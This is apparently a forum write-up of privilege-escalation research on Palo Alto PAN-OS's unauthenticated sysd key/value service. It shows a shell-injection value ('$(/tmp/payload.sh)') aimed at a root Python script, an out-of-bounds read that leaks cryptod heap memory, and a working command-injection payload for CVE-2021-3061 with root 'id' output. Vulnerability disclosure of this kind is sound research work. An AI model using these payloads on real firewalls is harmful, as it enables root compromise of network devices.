« Back to the Da Slop Pit Forum

PAN-OS sysd: privescs 4 dayz

Posted by rqu69

posted

Forum: Da Slop Pit Group

sysd provides a key/value database with powerful callback functionality for IPC and configuration storage. Data is stored hierarchically with paths such as cfg.platform.serial. Data can be queried programatically or with the sdb command line tool. For example, you can query the management interface MAC address using

sdb cfg.platform.mac

and you could also modify this using

sdb cfg.platform.mac=aa:bb:cc:dd:ee:ff

sysd can be accessed with tcp at mgmt:28260 (where usually mgmt == 127.0.0.1). There is no authentication, and as long as you are able to connect to this port you can read and modify any data. There is technically a concept of privilege levels, but you can set your own privilege level using the -P flag of sdb (-P3 for highest privileges).

sysd basics

Values are typed, and can be

- signed int (int)
- unsigned int (uint)
- boolean (bool)
- floating point numbers (fp)
- strings (string)
- dictionaries (with string keys) (dict)
- lists (list)
- enumerations (enumeration)
- binary objects (blob)
- empty (none)

the type of an object can also be queried with sdb using the -i flag. for example,

$ sdb -i cfg.platform.mac
cfg.platform.mac: string (17 bytes)


This functionality already provides potential for privilege escalation, as you can modify values which are used and often considered trusted by higher-privilege programs. One example of a privesc using this can be found in /usr/local/bin/lcaas-agent.py.

def runcmd(cmd):
    try:
        ans = os.popen(cmd).read().strip()
        return ans
    except:
        return None

# ----- snip -----

cmd = "/usr/local/bin/sdb -n \"cfg.lcaas-region\""
region = runcmd(cmd)
if region:
    cmd_region = "/usr/local/bin/sdb -n \"cfg.lcaas-region\"='%s'" % region
    runcmd(cmd_region);


lcaas-agent.py runs as root, and os.popen runs the command in a shell, so setting cfg.lcaas-region to something like $(/tmp/payload.sh) would result in executing a payload as root the next time this script is run by the system. While these bugs are easy to identify, many of these types of exploits can result in other components of the system malfunctioning.

advanced sysd: namespaces, providers, and notifiers

Processes can construct collections of keys (such as sw.cryptod.*) called namespaces. A process can then register objects within this namespace.  Processes can set actions (notifiers or providers) which dynamically process read or write requests and return custom data. You can query information about namespaces and notifiers using sdc, the sysd control and inspection tool. For example, we can see who provides the sw.cryptod.* namespace:

$ sdc provides sw.cryptod.
        crypto -       s1.mp.2985-0 - sw.cryptod.


 This corresponds to process 2985 running on the management plane and vsys 1, and we can confirm with `ps` that this is /usr/local/bin/cryptod. A list of all namespaces can be found with `sdc namespaces`.

Under the sw.cryptod namespace, I have the following values:

$ sdb -P3 'sw.cryptod.*'
sw.cryptod.runtime.api.decr: { }
sw.cryptod.runtime.api.encr: { }
sw.cryptod.runtime.api.hsm-req: [ ]
sw.cryptod.runtime.api.ks: { }
sw.cryptod.runtime.api.mkey: { }
sw.cryptod.runtime.cert.expired: { }
sw.cryptod.runtime.cryptod-version: 1
sw.cryptod.runtime.dataplane-down: False
sw.cryptod.runtime.debug.dump-to-log: False
sw.cryptod.runtime.debug.level: info
sw.cryptod.runtime.hsm-up: 0
sw.cryptod.runtime.mkey-change: 0x0
sw.cryptod.runtime.mp.masterd-heartbeat: True

writing to sw.cryptod.runtime.api.encr results in a call to the registered handler (pan_cryptod_sysd_encr_recv_cb in /usr/local/bin/cryptod), which processes the input object containig a plaintext blob and the length of that plaintext, and returns an encrypted result.

$ sdb -P3 'sw.cryptod.runtime.api.encr={"ptext-len":3,"plain-text":<AAAA>}'
""""sw.cryptod.runtime.api.encr: { 'encrypted-text': <LUFRPT1LZUxjKzdGdlk3c0NWTjkxaGFGYnR2dGVrbjA9M1RTQ3Zlb01qSE5FdktYRVRCbU1r
UT09>, 'etext-len': 57, 'plain-text': <AAAA>, 'ptext-len': 3, }

As a side note, you may notice that the blob size isn't actually part of the blob object, meaning there is plenty of potential for out-of-bounds reads. In this case, passing an object with a short plain-text field and a ptext-len which is much larger than the plaintext size will leak memory from cryptod:


$ sdb -P3 'sw.cryptod.runtime.api.encr={"ptext-len":128,"plain-text":<AAAA>}'  
""""sw.cryptod.runtime.api.encr: { 'encrypted-text': <LUFRPT1jUXBqZ2t3N1E5dUVBYjNTRkVRUWdHODNORjA9YnlrZm9CQk10aWt6NExpWnVyUHlx
ZWdMMEZia2RIOFgyNFE5OThIcTNtUEluampxUVhBTE14MEdRUDNVbTNweXN4UVA4YXB0SjlO
U3RuVTNySGt0aTMrbHYzRkkybnMrQlIzT2lIUzBuYlJZRC8waWF4eXBxZXR2ZUxJZVRuUjBW
WlJZbXpEbFNQM3RyajdjVVRTQkp5U3Y0ZVFCcFpnMSt2SXlhdjJJMU92R1lKOGF4VVI5aG5Z
WXJmQXJCUnVq>, 'etext-len': 225, 'plain-text': <AAAAAP9/AACYAADQ/38AAIgAAND/fwAAiAAA0P9/AAAwAAAAAAAAACUAAAAAAAAAL2V0Yy9s
b2NhbHRpbWUAABABAAAAAAAAhQAAAAAAAAAAAAAAAAAAAAkAAAABAAAAAAAAAAAAAABUAAAB
AAAAABgKAND/fwAAUAoA0P9/AAA=>, 'ptext-len': 128, }


base64-decoding the returned plain-text reveals what appear to be pointers to objects stored on the heap and the string "/etc/localtime".

Arbitrary reads may be useful for memory corruption exploits, but why bother with that when you can just get command injection? PAN-OS programs often invoke commands in dangerous ways, and sysd callbacks are no different. CVE-2021-3061 is an example of this. While investigating how debug TAC login works, I came across the sys.root.passwd-response handler from /usr/local/lib64/sysdagent/libsysusr.so.

The handler (sda_sysusr_root_resp_set_cb) first checks to see if the TAC login sequence is in the right state. Without diving into the details, all we have to do to satisfy the condition is run `sdb -P3 sys.root.passwd-challenge=new` before running sending anything to passwd-response. Once you request a password challenge, the process expects the response to contain a dict with four keys: response-string, login-type, user, and login-ip. If these parameters are all present and non-empty, the handler invokes


sda_system("/bin/echo \'%s\' | /usr/bin/base64 -i -d > %s", response, "/tmp_root/sysdagent_sysusr_response");

This snprintf's the response and path into the command and runs it in a shell. The response variable is the response-string which we provided, so we can easily inject commands

$ sdb -P3 sys.root.passwd-challenge=new
sys.root.passwd-challenge: Please use the following string as your challenge:

B44bYsmOh0hoJOSfFRcUvgSNpf+DtJhqHk7AfzErC720ZclSaEsFk7zjWNFbSYPp

$ sdb -P3 -e "sys.root.passwd-response={'response-string':'a\\'|id>/tmp/whoami;\\'','login-type':'evil','user':'gir','login-ip':'1.3.3.7',}"
modify failed: PERMISSION
$ cat /tmp/whoami
uid=0(root) gid=0(root) groups=0(root)

hope you enjoyed this sloppy writeup in this sloppy pit. as always please remember to like this writeup comment this writeup and subscribe this writeup if you wanna see more writeups like this one


Report Topic

0 Replies